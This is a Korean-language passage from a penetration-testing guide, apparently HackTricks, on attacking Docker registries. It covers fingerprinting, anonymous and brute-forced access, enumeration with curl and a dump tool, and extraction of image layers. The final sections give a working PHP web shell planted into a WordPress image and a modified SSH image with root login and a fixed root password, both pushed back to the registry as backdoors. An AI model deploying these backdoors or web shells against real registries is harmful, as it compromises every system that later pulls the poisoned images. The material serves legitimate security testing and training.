16 KiB
5000 - Pentesting Docker Registry
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요 !
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왹을 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm을 팔로우하세요.
- 해킹 트릭을 공유하려면 PR을 HackTricks 및 HackTricks Cloud github 저장소에 제출하세요.
기본 정보
Docker 레지스트리는 이름이 지정된 Docker 이미지를 위한 저장 및 배포 시스템으로, 여러 버전으로 제공되며 태그로 구분됩니다. 이러한 이미지는 레지스트리 내의 Docker 저장소에 구성되어 있으며, 각 저장소는 특정 이미지의 여러 버전을 저장합니다. 제공되는 기능을 통해 사용자는 필요한 권한이 있는 경우 이미지를 로컬로 다운로드하거나 레지스트리에 업로드할 수 있습니다.
DockerHub는 Docker의 기본 공개 레지스트리로 작동하지만, 사용자는 온프레미스 버전의 오픈 소스 Docker 레지스트리/배포를 운영하거나 상업적으로 지원되는 Docker Trusted Registry를 선택할 수도 있습니다. 또한, 다양한 다른 공개 레지스트리를 온라인에서 찾을 수 있습니다.
온프레미스 레지스트리에서 이미지를 다운로드하려면 다음 명령을 사용합니다:
docker pull my-registry:9000/foo/bar:2.1
이 명령은 my-registry
도메인의 온프레미스 레지스트리에서 포트 9000
에서 foo/bar
이미지 버전 2.1
을 가져옵니다. 반면에, 동일한 이미지를 DockerHub에서 다운로드하려면 특히 2.1
이 최신 버전인 경우, 명령은 다음과 같이 간단해집니다:
docker pull foo/bar
기본 포트: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
발견
이 서비스를 발견하는 가장 쉬운 방법은 nmap의 출력에서 확인하는 것입니다. 그러나 HTTP 기반 서비스이므로 HTTP 프록시 뒤에 숨겨져 있을 수 있고 nmap은 이를 감지하지 못할 수 있습니다.
일부 지문:
/
에 액세스하면 응답에 아무것도 반환되지 않습니다./v2/
에 액세스하면{}
가 반환됩니다./v2/_catalog
에 액세스하면 다음을 얻을 수 있습니다:{"repositories":["alpine","ubuntu"]}
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
열거
HTTP/HTTPS
도커 레지스트리는 HTTP 또는 HTTPS를 사용하도록 구성될 수 있습니다. 따라서 해야 할 첫 번째 작업은 어떤 것이 구성되어 있는지 찾는 것입니다:
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
인증
도커 레지스트리는 인증을 요구하도록 구성할 수도 있습니다:
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
만약 Docker Registry가 인증을 요구하는 경우 다음을 사용하여 브루트 포스를 시도할 수 있습니다.
유효한 자격 증명을 찾으면 레지스트리를 열거해야 하며, curl
에서는 다음과 같이 사용할 수 있습니다:
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
DockerRegistryGrabber를 사용한 열거
DockerRegistryGrabber는 도커 레지스트리를 열거하고 덤프하는 데 사용되는 파이썬 도구입니다 (기본 인증을 사용하거나 사용하지 않고).
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
curl을 사용한 열거
한 번 도커 레지스트리에 액세스를 획득한 후 다음은 열거에 사용할 수 있는 몇 가지 명령어입니다:
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
{% hint style="warning" %} 현재 디렉토리에 blobs 파일 및 폴더가 나타납니다. 모든 blobs를 다운로드하고 동일한 폴더에 압축 해제하면 이전에 압축 해제된 blobs의 값이 덮어씌워집니다, 따라서 주의하십시오. 각 blob를 별도의 폴더 내에서 압축 해제하여 각 blob의 정확한 내용을 검사하는 것이 흥미로울 수 있습니다. {% endhint %}
도커를 사용한 열거
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
WordPress 이미지에 백도어 심기
만약 Docker Registry에서 워드프레스 이미지를 발견했다면 백도어를 심을 수 있습니다.
백도어를 생성하세요:
{% code title="shell.php" %}
<?php echo shell_exec($_GET["cmd"]); ?>
{% endcode %}
Dockerfile을 작성하십시오:
{% code title="Dockerfile" %}
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
{% endcode %}
새 이미지를 만들고, 생성되었는지 확인하고 **푸시(push)**하세요:
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
SSH 서버 이미지에 백도어 설치
만약 SSH 이미지가 있는 Docker 레지스트리를 발견했다고 가정하고 백도어를 설치하고 싶다면,
이미지를 다운로드하고 실행하세요:
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
SSH 이미지에서 sshd_config
파일을 추출합니다:
docker cp 4c989242c714:/etc/ssh/sshd_config .
그리고 다음과 같이 설정을 변경하십시오: PermitRootLogin yes
다음과 같은 Dockerfile을 만드십시오:
```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` **이미지를** 새로 만들고, 만들어졌는지 **확인**하고 **푸시(push)**하세요: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## 참고 자료 * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹에 가입하거나 텔레그램 그룹에 가입하거나 트위터** 🐦 @carlospolopm를 팔로우하세요.
- 해킹 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.